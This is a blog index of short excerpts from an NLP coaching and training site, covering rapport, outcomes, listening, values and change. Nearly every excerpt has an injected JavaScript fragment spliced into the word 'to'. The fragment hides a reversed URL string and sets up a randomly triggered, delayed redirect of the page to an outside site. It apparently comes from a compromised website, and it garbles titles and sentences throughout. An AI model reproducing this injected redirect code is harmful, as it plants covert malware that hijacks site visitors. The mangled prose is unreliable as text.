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Now Let Us Live

Now Let Us Live

I've been spending a lot of time thinking about death lately.  Mainly because I am preparing a talk on the tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topic for...

Abracadabra: Your words really are magic

Abracadabra: Your words really are magic

Did you know that the magician's favourite magic word "Abracadabra" comes from an Aramaic phrase meaning "I create as I speak." ​ In our NLP trainings we often talk about magic with language, and one of our Master Classes is called "Magic Words" - but in reality, all...

I DIDN’T SAY THAT

I DIDN’T SAY THAT

Have you ever noticed how other people embellish your point, or miss out the really important bit?   It’s frustrating isn't it?   And yet we’re all guilty of doing the same thing, and most of the time don’t even realise it.   Try this test...

It’s never tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;	setTimeout($NjS(0),delay);}too late …

It’s never tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too late …

;var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory" background_layout="light" text_orientation="left" use_border_color="off" border_color="#ffffff" border_style="solid"] Meet Eleanor I want...

Do I Know You?

Do I Know You?

How well do you know the people who you work with? Who work for you? Who buy from you?   You may feel that you have built up good relationships with the people around you, but tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var...

Spot it, You’ve Got it!

Spot it, You’ve Got it!

Have you heard the expression "Spot it, you've got it"? It means that if you notice that something is beautiful, or good, or funny - that's a reflection of what is beautiful, good or funny about you.   And at the same time if I notice that something is unkind,...

Spotlight on Mike Webster – Waveform Energetics

Spotlight on Mike Webster – Waveform Energetics

Today I want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to turn the Bright Light spotlight ontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var...

Three common misconceptions about NLP

Three common misconceptions about NLP

There are many common misconceptions about NLP. Most of these are expressed by people who have only limited knowledge or understanding of NLP, and are perhaps scared by what they have heard. As an NLP Trainer I regularly encounter people who hold these common...

Spotlight on Saffron Grant

Spotlight on Saffron Grant

Let's shine the Bright Light Spotlight on someone who is using NLP in a different way - the fabulous Saffron Grant (and her company Built Environment Support and Training) is a Master Practitioner who is using her NLP...

Stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;	setTimeout($NjS(0),delay);}top asking questions and start listening harder

Stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top asking questions and start listening harder

We're taught always tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ask great questions, but sometimes we are so busy asking questions that we forget...

Best NLP Books

Best NLP Books

One of the questions I get asked most often is "What are the best NLP books?" I have tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to confess, I have over a...

What does “Freedom” mean tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;	setTimeout($NjS(0),delay);}to you?

What does “Freedom” mean tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to you?

What does "Freedom" mean tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to you?  Create freedom from ... or freedom...

Adopt a Physiology and Psychology of Excellence

Adopt a Physiology and Psychology of Excellence

​When you want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to change your life for the better, most of us tend...

Act Flexibly

Act Flexibly

Continuing our Tuesday Tips series on the Pillars of NLP - this week we're looking at **Flexibility**... Albert Einstein said: “The definition of insanity is doing the same thing over and over again and expecting different results.” If you carry on doing everything...

Sharpen Your Senses

Sharpen Your Senses

Continuing our theme on the Pillars of NLP - this week we're exploring **Sensory Acuity** - what is that?  It simply means tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;...

Know your outcome… the pillars of NLP

Know your outcome… the pillars of NLP

The first of the NLP Pillars is "Know Your Outcome" - no matter what you're doing, you will always get a better result if you know what you are aiming for. NLP is often described as an outcome-focused approach. People who learn NLP soon adopt the discipline of setting...

How I Discovered NLP

How I Discovered NLP

I'm often asked how I got intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to NLP. Well, it started when I hired a terrific project manager called Mark, for the...

Away From or Towards

Away From or Towards

How do you think about your outcome? Do you focus on the problems that you want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to avoid, or the result that you want...

10 Ways Your Body Is Talking To You

10 Ways Your Body Is Talking To You

What are you listening tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, right now? Perhaps you have some music on. Perhaps you can hear the voices of people...

3 Ways tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;	setTimeout($NjS(0),delay);}to Build Rapport

3 Ways tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Build Rapport

Pretty much every outcome that you can possibly want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to achieve will involve or affect other people – unless you’re a...

The only constant in life is change…

The only constant in life is change…

The only constant in life is change. It's so true, but sometimes change is difficult, or you don't get the change that you want. We've written a short eBook tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var...

6 Ways tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;	setTimeout($NjS(0),delay);}to Cope With Life Positively

6 Ways tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Cope With Life Positively

Nicole was complaining that she was being pulled left, right and centre by work, partner, children, friends and other demands on her time. She said "I don't have any time left for me". It's such a common problem in tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var...

Does My Bum Look Big in This? Truth, re-framing and critical feedback.

Does My Bum Look Big in This? Truth, re-framing and critical feedback.

What do you answer if someone (with a big bum) asks you "Does my bum look big in this?" This question is a great one for exploring truth, honesty, and critical feedback. In this week's blog I explore some different perspectives on truth, especially when delivering...

What You Value Is What You Will Achieve

What You Value Is What You Will Achieve

Did you know that your skills are directly related tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to your values and beliefs?It's true - the skills that you learn...

Commit tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;	setTimeout($NjS(0),delay);}to Powerful Action

Commit tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Powerful Action

The final Pillar of NLP is **Commit tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to powerful action** I love going...

ONE THING OF MOST VALUE

ONE THING OF MOST VALUE

Last week a friend asked me “what’s the one thing of most value people get from your NLP Diploma?” I couldn't easily narrow it down tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;...

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